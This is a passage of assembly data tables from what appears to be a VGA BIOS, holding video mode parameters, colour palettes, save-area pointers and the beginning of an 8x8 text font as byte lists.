000h, 03fh, 000h db 03fh, 000h, 03fh, 001h, 000h, 00fh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 005h, 00fh, 0ffh db 050h, 01dh, 010h, 000h, 000h, 001h, 00fh, 000h, 006h, 0e3h, 05fh, 04fh, 050h, 082h, 054h, 080h db 00bh, 03eh, 000h, 040h, 000h, 000h, 000h, 000h, 000h, 000h, 0eah, 08ch, 0dfh, 028h, 000h, 0e7h db 004h, 0e3h, 0ffh, 000h, 001h, 002h, 003h, 004h, 005h, 014h, 007h, 038h, 039h, 03ah, 03bh, 03ch db 03dh, 03eh, 03fh, 001h, 000h, 00fh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 005h, 00fh, 0ffh db 028h, 018h, 008h, 000h, 000h, 001h, 00fh, 000h, 00eh, 063h, 05fh, 04fh, 050h, 082h, 054h, 080h db 0bfh, 01fh, 000h, 041h, 000h, 000h, 000h, 000h, 000h, 000h, 09ch, 08eh, 08fh, 028h, 040h, 096h db 0b9h, 0a3h, 0ffh, 000h, 001h, 002h, 003h, 004h, 005h, 006h, 007h, 008h, 009h, 00ah, 00bh, 00ch db 00dh, 00eh, 00fh, 041h, 000h, 00fh, 000h, 000h, 000h, 000h, 000h, 000h, 040h, 005h, 00fh, 0ffh db 064h, 024h, 010h, 000h, 000h, 001h, 00fh, 000h, 006h, 0e3h, 07fh, 063h, 063h, 083h, 06bh, 01bh db 072h, 0f0h, 000h, 060h, 000h, 000h, 000h, 000h, 000h, 000h, 059h, 08dh, 057h, 032h, 000h, 057h db 073h, 0e3h, 0ffh, 000h, 001h, 002h, 003h, 004h, 005h, 014h, 007h, 038h, 039h, 03ah, 03bh, 03ch db 03dh, 03eh, 03fh, 001h, 000h, 00fh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 005h, 00fh, 0ffh _palette0: ; 0xc4e42 LB 0xc0 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah db 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah db 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah db 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh db 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah db 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah db 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah db 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh db 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh _palette1: ; 0xc4f02 LB 0xc0 db 000h, 000h, 000h, 000h, 000h, 02ah, 000h, 02ah, 000h, 000h, 02ah, 02ah, 02ah, 000h, 000h, 02ah db 000h, 02ah, 02ah, 015h, 000h, 02ah, 02ah, 02ah, 000h, 000h, 000h, 000h, 000h, 02ah, 000h, 02ah db 000h, 000h, 02ah, 02ah, 02ah, 000h, 000h, 02ah, 000h, 02ah, 02ah, 015h, 000h, 02ah, 02ah, 02ah db 015h, 015h, 015h, 015h, 015h, 03fh, 015h, 03fh, 015h, 015h, 03fh, 03fh, 03fh, 015h, 015h, 03fh db 015h, 03fh, 03fh, 03fh, 015h, 03fh, 03fh, 03fh, 015h, 015h, 015h, 015h, 015h, 03fh, 015h, 03fh db 015h, 015h, 03fh, 03fh, 03fh, 015h, 015h, 03fh, 015h, 03fh, 03fh, 03fh, 015h, 03fh, 03fh, 03fh db 000h, 000h, 000h, 000h, 000h, 02ah, 000h, 02ah, 000h, 000h, 02ah, 02ah, 02ah, 000h, 000h, 02ah db 000h, 02ah, 02ah, 015h, 000h, 02ah, 02ah, 02ah, 000h, 000h, 000h, 000h, 000h, 02ah, 000h, 02ah db 000h, 000h, 02ah, 02ah, 02ah, 000h, 000h, 02ah, 000h, 02ah, 02ah, 015h, 000h, 02ah, 02ah, 02ah db 015h, 015h, 015h, 015h, 015h, 03fh, 015h, 03fh, 015h, 015h, 03fh, 03fh, 03fh, 015h, 015h, 03fh db 015h, 03fh, 03fh, 03fh, 015h, 03fh, 03fh, 03fh, 015h, 015h, 015h, 015h, 015h, 03fh, 015h, 03fh db 015h, 015h, 03fh, 03fh, 03fh, 015h, 015h, 03fh, 015h, 03fh, 03fh, 03fh, 015h, 03fh, 03fh, 03fh _palette2: ; 0xc4fc2 LB 0xc0 db 000h, 000h, 000h, 000h, 000h, 02ah, 000h, 02ah, 000h, 000h, 02ah, 02ah, 02ah, 000h, 000h, 02ah db 000h, 02ah, 02ah, 02ah, 000h, 02ah, 02ah, 02ah, 000h, 000h, 015h, 000h, 000h, 03fh, 000h, 02ah db 015h, 000h, 02ah, 03fh, 02ah, 000h, 015h, 02ah, 000h, 03fh, 02ah, 02ah, 015h, 02ah, 02ah, 03fh db 000h, 015h, 000h, 000h, 015h, 02ah, 000h, 03fh, 000h, 000h, 03fh, 02ah, 02ah, 015h, 000h, 02ah db 015h, 02ah, 02ah, 03fh, 000h, 02ah, 03fh, 02ah, 000h, 015h, 015h, 000h, 015h, 03fh, 000h, 03fh db 015h, 000h, 03fh, 03fh, 02ah, 015h, 015h, 02ah, 015h, 03fh, 02ah, 03fh, 015h, 02ah, 03fh, 03fh db 015h, 000h, 000h, 015h, 000h, 02ah, 015h, 02ah, 000h, 015h, 02ah, 02ah, 03fh, 000h, 000h, 03fh db 000h, 02ah, 03fh, 02ah, 000h, 03fh, 02ah, 02ah, 015h, 000h, 015h, 015h, 000h, 03fh, 015h, 02ah db 015h, 015h, 02ah, 03fh, 03fh, 000h, 015h, 03fh, 000h, 03fh, 03fh, 02ah, 015h, 03fh, 02ah, 03fh db 015h, 015h, 000h, 015h, 015h, 02ah, 015h, 03fh, 000h, 015h, 03fh, 02ah, 03fh, 015h, 000h, 03fh db 015h, 02ah, 03fh, 03fh, 000h, 03fh, 03fh, 02ah, 015h, 015h, 015h, 015h, 015h, 03fh, 015h, 03fh db 015h, 015h, 03fh, 03fh, 03fh, 015h, 015h, 03fh, 015h, 03fh, 03fh, 03fh, 015h, 03fh, 03fh, 03fh _palette3: ; 0xc5082 LB 0x300 db 000h, 000h, 000h, 000h, 000h, 02ah, 000h, 02ah, 000h, 000h, 02ah, 02ah, 02ah, 000h, 000h, 02ah db 000h, 02ah, 02ah, 015h, 000h, 02ah, 02ah, 02ah, 015h, 015h, 015h, 015h, 015h, 03fh, 015h, 03fh db 015h, 015h, 03fh, 03fh, 03fh, 015h, 015h, 03fh, 015h, 03fh, 03fh, 03fh, 015h, 03fh, 03fh, 03fh db 000h, 000h, 000h, 005h, 005h, 005h, 008h, 008h, 008h, 00bh, 00bh, 00bh, 00eh, 00eh, 00eh, 011h db 011h, 011h, 014h, 014h, 014h, 018h, 018h, 018h, 01ch, 01ch, 01ch, 020h, 020h, 020h, 024h, 024h db 024h, 028h, 028h, 028h, 02dh, 02dh, 02dh, 032h, 032h, 032h, 038h, 038h, 038h, 03fh, 03fh, 03fh db 000h, 000h, 03fh, 010h, 000h, 03fh, 01fh, 000h, 03fh, 02fh, 000h, 03fh, 03fh, 000h, 03fh, 03fh db 000h, 02fh, 03fh, 000h, 01fh, 03fh, 000h, 010h, 03fh, 000h, 000h, 03fh, 010h, 000h, 03fh, 01fh db 000h, 03fh, 02fh, 000h, 03fh, 03fh, 000h, 02fh, 03fh, 000h, 01fh, 03fh, 000h, 010h, 03fh, 000h db 000h, 03fh, 000h, 000h, 03fh, 010h, 000h, 03fh, 01fh, 000h, 03fh, 02fh, 000h, 03fh, 03fh, 000h db 02fh, 03fh, 000h, 01fh, 03fh, 000h, 010h, 03fh, 01fh, 01fh, 03fh, 027h, 01fh, 03fh, 02fh, 01fh db 03fh, 037h, 01fh, 03fh, 03fh, 01fh, 03fh, 03fh, 01fh, 037h, 03fh, 01fh, 02fh, 03fh, 01fh, 027h db 03fh, 01fh, 01fh, 03fh, 027h, 01fh, 03fh, 02fh, 01fh, 03fh, 037h, 01fh, 03fh, 03fh, 01fh, 037h db 03fh, 01fh, 02fh, 03fh, 01fh, 027h, 03fh, 01fh, 01fh, 03fh, 01fh, 01fh, 03fh, 027h, 01fh, 03fh db 02fh, 01fh, 03fh, 037h, 01fh, 03fh, 03fh, 01fh, 037h, 03fh, 01fh, 02fh, 03fh, 01fh, 027h, 03fh db 02dh, 02dh, 03fh, 031h, 02dh, 03fh, 036h, 02dh, 03fh, 03ah, 02dh, 03fh, 03fh, 02dh, 03fh, 03fh db 02dh, 03ah, 03fh, 02dh, 036h, 03fh, 02dh, 031h, 03fh, 02dh, 02dh, 03fh, 031h, 02dh, 03fh, 036h db 02dh, 03fh, 03ah, 02dh, 03fh, 03fh, 02dh, 03ah, 03fh, 02dh, 036h, 03fh, 02dh, 031h, 03fh, 02dh db 02dh, 03fh, 02dh, 02dh, 03fh, 031h, 02dh, 03fh, 036h, 02dh, 03fh, 03ah, 02dh, 03fh, 03fh, 02dh db 03ah, 03fh, 02dh, 036h, 03fh, 02dh, 031h, 03fh, 000h, 000h, 01ch, 007h, 000h, 01ch, 00eh, 000h db 01ch, 015h, 000h, 01ch, 01ch, 000h, 01ch, 01ch, 000h, 015h, 01ch, 000h, 00eh, 01ch, 000h, 007h db 01ch, 000h, 000h, 01ch, 007h, 000h, 01ch, 00eh, 000h, 01ch, 015h, 000h, 01ch, 01ch, 000h, 015h db 01ch, 000h, 00eh, 01ch, 000h, 007h, 01ch, 000h, 000h, 01ch, 000h, 000h, 01ch, 007h, 000h, 01ch db 00eh, 000h, 01ch, 015h, 000h, 01ch, 01ch, 000h, 015h, 01ch, 000h, 00eh, 01ch, 000h, 007h, 01ch db 00eh, 00eh, 01ch, 011h, 00eh, 01ch, 015h, 00eh, 01ch, 018h, 00eh, 01ch, 01ch, 00eh, 01ch, 01ch db 00eh, 018h, 01ch, 00eh, 015h, 01ch, 00eh, 011h, 01ch, 00eh, 00eh, 01ch, 011h, 00eh, 01ch, 015h db 00eh, 01ch, 018h, 00eh, 01ch, 01ch, 00eh, 018h, 01ch, 00eh, 015h, 01ch, 00eh, 011h, 01ch, 00eh db 00eh, 01ch, 00eh, 00eh, 01ch, 011h, 00eh, 01ch, 015h, 00eh, 01ch, 018h, 00eh, 01ch, 01ch, 00eh db 018h, 01ch, 00eh, 015h, 01ch, 00eh, 011h, 01ch, 014h, 014h, 01ch, 016h, 014h, 01ch, 018h, 014h db 01ch, 01ah, 014h, 01ch, 01ch, 014h, 01ch, 01ch, 014h, 01ah, 01ch, 014h, 018h, 01ch, 014h, 016h db 01ch, 014h, 014h, 01ch, 016h, 014h, 01ch, 018h, 014h, 01ch, 01ah, 014h, 01ch, 01ch, 014h, 01ah db 01ch, 014h, 018h, 01ch, 014h, 016h, 01ch, 014h, 014h, 01ch, 014h, 014h, 01ch, 016h, 014h, 01ch db 018h, 014h, 01ch, 01ah, 014h, 01ch, 01ch, 014h, 01ah, 01ch, 014h, 018h, 01ch, 014h, 016h, 01ch db 000h, 000h, 010h, 004h, 000h, 010h, 008h, 000h, 010h, 00ch, 000h, 010h, 010h, 000h, 010h, 010h db 000h, 00ch, 010h, 000h, 008h, 010h, 000h, 004h, 010h, 000h, 000h, 010h, 004h, 000h, 010h, 008h db 000h, 010h, 00ch, 000h, 010h, 010h, 000h, 00ch, 010h, 000h, 008h, 010h, 000h, 004h, 010h, 000h db 000h, 010h, 000h, 000h, 010h, 004h, 000h, 010h, 008h, 000h, 010h, 00ch, 000h, 010h, 010h, 000h db 00ch, 010h, 000h, 008h, 010h, 000h, 004h, 010h, 008h, 008h, 010h, 00ah, 008h, 010h, 00ch, 008h db 010h, 00eh, 008h, 010h, 010h, 008h, 010h, 010h, 008h, 00eh, 010h, 008h, 00ch, 010h, 008h, 00ah db 010h, 008h, 008h, 010h, 00ah, 008h, 010h, 00ch, 008h, 010h, 00eh, 008h, 010h, 010h, 008h, 00eh db 010h, 008h, 00ch, 010h, 008h, 00ah, 010h, 008h, 008h, 010h, 008h, 008h, 010h, 00ah, 008h, 010h db 00ch, 008h, 010h, 00eh, 008h, 010h, 010h, 008h, 00eh, 010h, 008h, 00ch, 010h, 008h, 00ah, 010h db 00bh, 00bh, 010h, 00ch, 00bh, 010h, 00dh, 00bh, 010h, 00fh, 00bh, 010h, 010h, 00bh, 010h, 010h db 00bh, 00fh, 010h, 00bh, 00dh, 010h, 00bh, 00ch, 010h, 00bh, 00bh, 010h, 00ch, 00bh, 010h, 00dh db 00bh, 010h, 00fh, 00bh, 010h, 010h, 00bh, 00fh, 010h, 00bh, 00dh, 010h, 00bh, 00ch, 010h, 00bh db 00bh, 010h, 00bh, 00bh, 010h, 00ch, 00bh, 010h, 00dh, 00bh, 010h, 00fh, 00bh, 010h, 010h, 00bh db 00fh, 010h, 00bh, 00dh, 010h, 00bh, 00ch, 010h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h _static_functionality: ; 0xc5382 LB 0x10 db 0ffh, 0e0h, 00fh, 000h, 000h, 000h, 000h, 007h, 002h, 008h, 0e7h, 00ch, 000h, 000h, 000h, 000h _dcc_table: ; 0xc5392 LB 0x24 db 010h, 001h, 007h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h _secondary_save_area: ; 0xc53b6 LB 0x1a db 01ah, 000h, 092h, 053h, 000h, 0c0h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h _video_save_pointer_table: ; 0xc53d0 LB 0x1c db 0c2h, 046h, 000h, 0c0h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 0b6h, 053h, 000h, 0c0h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h _vgafont8: ; 0xc53ec LB 0x800 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 07eh, 081h, 0a5h, 081h, 0bdh, 099h, 081h, 07eh db 07eh, 0ffh, 0dbh, 0ffh, 0c3h, 0e7h, 0ffh, 07eh, 06ch, 0feh, 0feh, 0feh, 07ch, 038h, 010h, 000h db 010h, 038h, 07ch, 0feh, 07ch, 038h, 010h, 000h, 038h, 07ch, 038h, 0feh, 0feh, 07ch, 038h, 07ch db 010h, 010h, 038h, 07ch, 0feh, 07ch, 038h, 07ch, 000h, 000h, 018h, 03ch, 03ch, 018h, 000h, 000h db 0ffh, 0ffh, 0e7h, 0c3h, 0c3h, 0e7h, 0ffh, 0ffh, 000h, 03ch, 066h, 042h, 042h, 066h, 03ch, 000h db 0ffh, 0c3h, 099h, 0bdh, 0bdh, 099h, 0c3h, 0ffh, 00fh, 007h, 00fh, 07dh, 0cch, 0cch, 0cch, 078h db 03ch, 066h, 066h, 066h, 03ch, 018h, 07eh, 018h, 03fh, 033h, 03fh, 030h, 030h, 070h, 0f0h, 0e0h db 07fh, 063h, 07fh, 063h, 063h, 067h, 0e6h, 0c0h, 099h, 05ah, 03ch, 0e7h, 0e7h, 03ch, 05ah, 099h db 080h, 0e0h, 0f8h, 0feh, 0f8h, 0e0h, 080h, 000h, 002h, 00eh, 03eh, 0feh, 03eh, 00eh, 002h, 000h db 018h, 03ch, 07eh, 018h, 018h, 07eh, 03ch, 018h, 066h, 066h, 066h, 066h, 066h, 000h, 066h, 000h db 07fh, 0dbh, 0dbh, 07bh, 01bh, 01bh, 01bh, 000h, 03eh, 063h, 038h, 06ch, 06ch, 038h, 0cch, 078h db 000h, 000h, 000h, 000h, 07eh, 07eh, 07eh, 000h, 018h, 03ch, 07eh, 018h, 07eh, 03ch, 018h, 0ffh db 018h, 03ch, 07eh, 018h, 018h, 018h, 018h, 000h, 018h, 018h, 018h, 018h, 07eh, 03ch, 018h, 000h db 000h, 018h, 00ch, 0feh, 00ch, 018h, 000h, 000h, 000h, 030h, 060h, 0feh, 060h, 030h, 000h, 000h db 000h, 000h, 0c0h, 0c0h, 0c0h, 0feh, 000h, 000h, 000h, 024h, 066h, 0ffh, 066h, 024h, 000h, 000h db 000h, 018h, 03ch, 07eh, 0ffh, 0ffh, 000h, 000h, 000h, 0ffh, 0ffh, 07eh, 03ch, 018h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 030h, 078h, 078h, 030h, 030h, 000h, 030h, 000h db 06ch, 06ch, 06ch, 000h, 000h, 000h, 000h, 000h, 06ch, 06ch, 0feh, 06ch, 0feh, 06ch, 06ch, 000h db 030h, 07ch, 0c0h, 078h, 00ch, 0f8h, 030h, 000h, 000h, 0c6h, 0cch, 018h, 030h, 066h, 0c6h, 000h db 038h, 06ch, 038h, 076h, 0dch, 0cch, 076h, 000h, 060h, 060h, 0c0h, 000h, 000h, 000h, 000h, 000h db 018h, 030h, 060h, 060h, 060h, 030h, 018h, 000h, 060h, 030h, 018h, 018h, 018h, 030h, 060h, 000h db 000h, 066h, 03ch, 0ffh, 03ch, 066h, 000h, 000h, 000h, 030h, 030h, 0fch, 030h, 030h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 030h, 030h, 060h, 000h, 000h, 000h, 0fch, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 030h, 030h, 000h, 006h, 00ch, 018h, 030h, 060h, 0c0h, 080h, 000h db 07ch, 0c6h, 0ceh, 0deh, 0f6h, 0e6h, 07ch, 000h, 030h, 070h, 030h, 030h, 030h, 030h, 0fch, 000h db 078h, 0cch, 00ch, 038h, 060h, 0cch, 0fch, 000h, 078h, 0cch, 00ch, 038h, 00ch, 0cch, 078h, 000h db 01ch, 03ch, 06ch, 0cch, 0feh, 00ch, 01eh, 000h, 0fch, 0c0h, 0f8h, 00ch, 00ch, 0cch, 078h, 000h db 038h, 060h, 0c0h, 0f8h, 0cch, 0cch, 078h, 000h, 0fch, 0cch, 00ch, 018h, 030h, 030h, 030h, 000h db 078h, 0cch, 0cch, 078h, 0cch, 0cch, 078h, 000h, 078h, 0cch, 0cch, 07ch, 00ch, 018h, 070h, 000h db 000h, 030h, 030h, 000h, 000h, 030h, 030h, 000h, 000h, 030h, 030h, 000h, 000h, 030h, 030h, 060h db 018h, 030h, 060h, 0c0h, 060h, 030h, 018h, 000h, 000h, 000h, 0fch, 000h, 000h, 0fch, 000h, 000h db 060h, 030h, 018h, 00ch, 018h, 030h, 060h, 000h, 078h, 0cch, 00ch, 018h, 030h, 000h, 030h, 000h db 07ch, 0c6h, 0deh, 0deh, 0deh, 0c0h, 078h, 000h, 030h, 078h, 0cch, 0cch, 0fch, 0cch, 0cch, 000h db 0fch, 066h, 066h, 07ch, 066h, 066h, 0fch, 000h, 03ch, 066h, 0c0h, 0c0h, 0c0h, 066h, 03ch, 000h db 0f8h, 06ch, 066h, 066h, 066h, 06ch, 0f8h, 000h, 0feh, 062h, 068h, 078h, 068h, 062h, 0feh, 000h db 0feh, 062h, 068h, 078h, 068h, 060h, 0f0h, 000h, 03ch, 066h, 0c0h, 0c0h, 0ceh, 066h, 03eh, 000h db 0cch, 0cch, 0cch, 0fch, 0cch, 0cch, 0cch, 000h, 078h, 030h, 030h, 030h, 030h, 030h, 078h, 000h db 01eh, 00ch, 00ch, 00ch, 0cch, 0cch, 078h, 000h, 0e6h, 066h, 06ch, 078h, 06ch, 066h, 0e6h, 000h db 0f0h, 060h, 060h, 060h, 062h, 066h, 0feh, 000h, 0c6h, 0eeh, 0feh, 0feh, 0d6h, 0c6h, 0c6h, 000h db 0c6h, 0e6h, 0f6h, 0deh, 0ceh, 0c6h, 0c6h, 000h, 038h, 06ch, 0c6h, 0c6h, 0c6h, 06ch, 038h, 000h db 0fch, 066h, 066h, 07ch, 060h, 060h, 0f0h, 000h, 078h, 0cch, 0cch, 0cch, 0dch, 078h, 01ch, 000h db 0fch, 066h, 066h, 07ch, 06ch, 066h, 0e6h, 000h, 078h, 0cch, 0e0h, 070h, 01ch, 0cch, 078h, 000h db 0fch, 0b4h, 030h, 030h, 030h, 030h, 078h, 000h, 0cch, 0cch, 0cch, 0cch, 0cch, 0cch, 0fch, 000h db 0cch, 0cch, 0cch, 0cch, 0cch, 078h, 030h, 000h, 0c6h, 0c6h, 0c6h, 0d6h, 0feh, 0eeh, 0c6h, 000h db 0c6h, 0c6h, 06ch, 038h, 038h, 06ch, 0c6h, 000h, 0cch, 0cch, 0cch, 078h, 030h, 030h, 078h, 000h db 0feh, 0c6h, 08ch, 018h, 032h, 066h, 0feh, 000h, 078h, 060h, 060h, 060h, 060h, 060h, 078h, 000h db 0c0h, 060h, 030h, 018h, 00ch, 006h, 002h, 000h, 078h, 018h, 018h, 018h, 018h, 018h, 078h, 000h db 010h, 038h, 06ch, 0c6h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0ffh db 030h, 030h, 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 078h, 00ch, 07ch, 0cch, 076h, 000h db 0e0h, 060h, 060h, 07ch, 066h, 066h, 0dch, 000h, 000h, 000h, 078h, 0cch, 0c0h, 0cch, 078h, 000h db 01ch, 00ch, 00ch, 07ch, 0cch, 0cch, 076h, 000h, 000h, 000h, 078h, 0cch, 0fch, 0c0h, 078h, 000h db 038h, 06ch, 060h, 0f0h, 060h, 060h, 0f0h, 000h, 000h, 000h, 076h, 0cch, 0cch, 07ch, 00ch, 0f8h db 0e0h, 060h, 06ch, 076h, 066h, 066h, 0e6h, 000h, 030h, 000h, 070h, 030h, 030h, 030h, 078h, 000h db 00ch, 000h, 00ch, 00ch, 00ch, 0cch, 0cch, 078h, 0e0h, 060h, 066h, 06ch, 078h, 06ch, 0e6h, 000h db 070h, 030h, 030h, 030h, 030h, 030h, 078h, 000h, 000h, 000h, 0cch, 0feh, 0feh, 0d6h, 0c6h, 000h db 000h, 000h, 0f8h, 0cch, 0cch, 0cch, 0cch, 000h, 000h, 000h, 078h, 0cch, 0cch, 0cch, 078h, 000h db 000h, 000h, 0dch, 066h, 066h, 07ch, 060h, 0f0h, 000h, 000h, 076h, 0cch, 0cch, 07ch, 00ch, 01eh db 000h, 000h, 0dch, 076h, 066h, 060h, 0f0h, 000h, 000h, 000h, 07ch, 0c0h, 078h, 00ch, 0f8h, 000h db 010h, 030h, 07ch, 030h, 030h, 034h, 018h, 000h, 000h, 000h, 0cch, 0cch, 0cch, 0cch, 076h, 000h db 000h, 000h, 0cch, 0cch, 0cch, 078h, 030h, 000h, 000h, 000h, 0c6h, 0d6h, 0feh, 0feh, 06ch, 000h db 000h, 000h, 0c6h, 06ch, 038h, 06ch, 0c6h, 000h, 000h, 000h, 0cch, 0cch, 0cch, 07ch, 00ch, 0f8h db 000h, 000h, 0fch, 098h, 030h, 064h, 0fch, 000h, 01ch, 030h, 030h, 0e0h, 030h, 030h, 01ch, 000h db 018h, 018h, 018h, 000h, 018h, 018h, 018h, 000h, 0e0h, 030h, 030h, 01ch, 030h, 030h, 0e0h, 000h db 076h, 0dch, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 010h, 038h, 06ch, 0c6h, 0c6h, 0feh, 000h db 078h, 0cch, 0c0h, 0cch, 078h, 018h, 00ch, 078h, 000h, 0cch, 000h, 0cch, 0cch, 0cch, 07eh, 000h db 01ch, 000h, 078h, 0cch, 0fch, 0c0h, 078h, 000h, 07eh, 0c3h, 03ch, 006h, 03eh, 066h, 03fh, 000h db 0cch, 000h, 078h, 00ch, 07ch, 0cch, 07eh, 000h, 0e0h, 000h, 078h, 00ch, 07ch, 0cch, 07eh, 000h db 030h, 030h, 078h, 00ch, 07ch, 0cch, 07eh, 000h, 000h, 000h, 078h, 0c0h, 0c0h, 078h, 00ch, 038h db 07eh, 0c3h, 03ch, 066h, 07eh, 060h, 03ch, 000h, 0cch, 000h, 078h, 0cch, 0fch, 0c0h, 078h, 000h db 0e0h, 000h, 078h, 0cch, 0fch, 0c0h, 078h, 000h, 0cch, 000h, 070h, 030h, 030h, 030h, 078h, 000h db 07ch, 0c6h, 038h, 018h, 018h, 018h, 03ch, 000h, 0e0h, 000h, 070h, 030h, 030h, 030h, 078h, 000h db 0c6h, 038h, 06ch, 0c6h, 0feh, 0c6h, 0c6h, 000h, 030h, 030h, 000h, 078h, 0cch, 0fch, 0cch, 000h db 01ch, 000h, 0fch, 060h, 078h, 060h, 0fch, 000h, 000h, 000h, 07fh, 00ch, 07fh, 0cch, 07fh, 000h db 03eh, 06ch, 0cch, 0feh, 0cch, 0cch, 0ceh, 000h, 078h, 0cch, 000h, 078h, 0cch, 0cch, 078h, 000h db 000h, 0cch, 000h, 078h, 0cch, 0cch, 078h, 000h, 000h, 0e0h, 000h, 078h, 0cch, 0cch, 078h, 000h db 078h, 0cch, 000h, 0cch, 0cch, 0cch, 07eh, 000h, 000h, 0e0h, 000h, 0cch, 0cch, 0cch, 07eh, 000h db 000h, 0cch, 000h, 0cch, 0cch, 07ch, 00ch, 0f8h, 0c3h, 018h, 03ch, 066h, 066h, 03ch, 018h, 000h db 0cch, 000h, 0cch, 0cch, 0cch, 0cch, 078h, 000h, 018h, 018h, 07eh, 0c0h, 0c0h, 07eh, 018h, 018h db 038h, 06ch, 064h, 0f0h, 060h, 0e6h, 0fch, 000h, 0cch, 0cch, 078h, 0fch, 030h, 0fch, 030h, 030h db 0f8h, 0cch, 0cch, 0fah, 0c6h, 0cfh, 0c6h, 0c7h, 00eh, 01bh, 018h, 03ch, 018h, 018h, 0d8h, 070h db 01ch, 000h, 078h, 00ch, 07ch, 0cch, 07eh, 000h, 038h, 000h, 070h, 030h, 030h, 030h, 078h, 000h db 000h, 01ch, 000h, 078h, 0cch, 0cch, 078h, 000h, 000h, 01ch, 000h, 0cch, 0cch, 0cch, 07eh, 000h db 000h, 0f8h, 000h, 0f8h, 0cch, 0cch, 0cch, 000h, 0fch, 000h, 0cch, 0ech, 0fch, 0dch, 0cch, 000h db 03ch, 06ch, 06ch, 03eh, 000h, 07eh, 000h, 000h, 038h, 06ch, 06ch, 038h, 000h, 07ch, 000h, 000h db 030h, 000h, 030h, 060h, 0c0h, 0cch, 078h, 000h, 000h, 000h, 000h, 0fch, 0c0h, 0c0h, 000h, 000h db 000h, 000h, 000h, 0fch, 00ch, 00ch, 000h, 000h, 0c3h, 0c6h, 0cch, 0deh, 033h, 066h, 0cch, 00fh db 0c3h, 0c6h, 0cch, 0dbh, 037h, 06fh, 0cfh, 003h, 018h, 018h, 000h, 018h, 018h, 018h, 018h, 000h db 000h, 033h, 066h, 0cch, 066h, 033h, 000h, 000h, 000h, 0cch, 066h, 033h, 066h, 0cch, 000h, 000h db 022h, 088h, 022h, 088h, 022h, 088h, 022h, 088h, 055h, 0aah, 055h, 0aah, 055h, 0aah, 055h, 0aah db 0dbh, 077h, 0dbh, 0eeh, 0dbh, 077h, 0dbh, 0eeh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h db 018h, 018h, 018h, 018h, 0f8h, 018h, 018h, 018h, 018h, 018h, 0f8h, 018h, 0f8h, 018h, 018h, 018h db 036h, 036h, 036h, 036h, 0f6h, 036h, 036h, 036h, 000h, 000h, 000h, 000h, 0feh, 036h, 036h, 036h db 000h, 000h, 0f8h, 018h, 0f8h, 018h, 018h, 018h, 036h, 036h, 0f6h, 006h, 0f6h, 036h, 036h, 036h db 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 000h, 000h, 0feh, 006h, 0f6h, 036h, 036h, 036h db 036h, 036h, 0f6h, 006h, 0feh, 000h, 000h, 000h, 036h, 036h, 036h, 036h, 0feh, 000h, 000h, 000h db 018h, 018h, 0f8h, 018h, 0f8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0f8h, 018h, 018h, 018h db 018h, 018h, 018h, 018h, 01fh, 000h, 000h, 000h, 018h, 018h, 018h, 018h, 0ffh, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 0ffh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 01fh, 018h, 018h, 018h db 000h, 000h, 000h, 000h, 0ffh, 000h, 000h, 000h, 018h, 018h, 018h, 018h, 0ffh, 018h, 018h, 018h db 018h, 018h, 01fh, 018h, 01fh, 018h, 018h, 018h, 036h, 036h, 036h, 036h, 037h, 036h, 036h, 036h db 036h, 036h, 037h, 030h, 03fh, 000h, 000h, 000h, 000h, 000h, 03fh, 030h, 037h, 036h, 036h, 036h db 036h, 